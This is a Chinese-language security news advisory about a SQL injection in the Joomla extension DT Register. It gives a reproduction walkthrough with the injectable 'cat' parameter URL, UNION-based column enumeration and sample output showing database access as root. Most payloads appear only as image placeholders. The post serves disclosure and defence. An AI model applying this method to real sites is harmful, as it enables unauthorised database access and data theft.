猫头鹰
信安舆情早知道

漏洞预警:Joomla extension DT Register存在 SQL 注入漏洞

705-16010g5415lp

概述

Joomla扩展中的“DT Register”存在SQL注入,允许远程未经验证的攻击者通过cat参数执行任意SQL。

名称:Joomla extension DT SQL injection

危害:高危

漏洞类型:SQL injection

影响版本:before 3.1.12 (Joomla 3.x) / 2.8.18 (Joomla 2.5)

产品网址: https://extensions.joomla.org/extension/dt-register

漏洞复现&PoC

当你打开一个Joomla网站,打开calendar模块的“DT Register”功能,就可以看到一个类别选择

joomla_dt_register_sql_injection_dth_demo_site

点击类别将重定向到URL:

http://www.joomlaeventregistration.com/demo/index.php?task=calendar&controller=calendar&cat=5

事件数据加载使用POST请求AJAX:

http://www.joomlaeventregistration.com/demo/index.php?controller=calendar&format=raw&cat[0]=6&task=events

创建一个报错

需要注意的是内容类型的JSON格式化响应为text/html网站使用HTTP。我们从“cat”参数开始。如果将额外的值”放在“cat”参数后(6″),就会返回个500错误。

joomla_dt_register_sql_injection_dth_demo_site-png_sql_error

错误信息:

20161214104643

可以看到整个SQL查询:

20161214104709

SQL注入PoC

http://[DOMAIN]/[PATH]/index.php?controller=calendar&format=raw&cat[0]=SQLi&task=events

固定SQL,读取所有事件:

20161214105006

执行 SQL:

20161214105024

利用:使用UNION读取数据

检测字段

20161214105720

测试:

20161214105753

返回如下错误信息:

Unknown column '113' in 'order clause

判断有112字段!

new value for “cat” parameter:

20161214110030

SQL 报错语句:

20161214110156

事件ID值:

20161214110230

读取所有事件:

20161214110316

利用“4”时“cat”参数:

20161214110501

实现JSON格式化输出

使用SELECT语句检测eventid位置

为了检测EVENTID的位置,我写了这样一个脚本:

20161214111010

完整脚本:EVENTID PoC

输出是:

20161214111158

从输出中呈现选择查询的字段

我写了如下脚本:

20161214111419

完整脚本:查询字段

输出:

<?php
array(1) {
 ["events"]=>
 array(1) {
 [0]=>
 array(24) {
 [0]=>
 string(3) "195"
 [1]=>
 string(34) "<span id='event_195'>100015</span>"
// ... removed
 string(1) "0"
 [5]=>
 string(6) "100005"
// ... removed
 [9]=>
 string(6) "100112"
// ... removed
 [12]=>
 string(6) "100073"
// ... removed
 [16]=>
 string(6) "100023"
// ... removed
 [18]=>
 string(6) "100112"
 [19]=>
 int(100008)
// ... removed
 [21]=>
 string(149) "<img border=\"0\" alt=\"\" src=\"/[path-removed]/calendar?controller=file&amp;task=thumb
&amp;w=60&amp;h=60&amp;filename=images/dtregister/eventpics/100073\" />"
// ... removed
 [23]=>
 string(1) "1"
 }
 }
}
?>

能够查询的所有输出如下:

SELECT position, test value, presented in array location, presented value
5 100005 5 "100005"
8 100008 19 100008 (numeric)
13 4 1 "<span id='event_4'>100015<\/span>"
15 100015 1 "<span id='event_4'>100015<\/span>"
23 100023 16 "100023" (unlimited?)
73 100073 12 "100073"
 21 "<img ... src=\"\/[path-removed]\/calendar?controller=file ... 
&amp;filename=images\/dtregister\/eventpics\/100073\" \/>"
112 100112 9 "100112"
 12 "100112"

SQL injection query PoC

“cat”参数值:

20161214111827

字段为112,EVENTID位置为13

root@localhost

joomla_database_as_root_facepalm

漏洞修复

升级至最新版本

参考

 

*转载请注明来自MottoIN

转载请注明来自MottoIN,未经允许不得转载!MottoIN » 漏洞预警:Joomla extension DT Register存在 SQL 注入漏洞

分享到:更多 ()

评论 1

评论前必须登录!

 

MottoIN 换一个角度看安全

寻求报道联系我们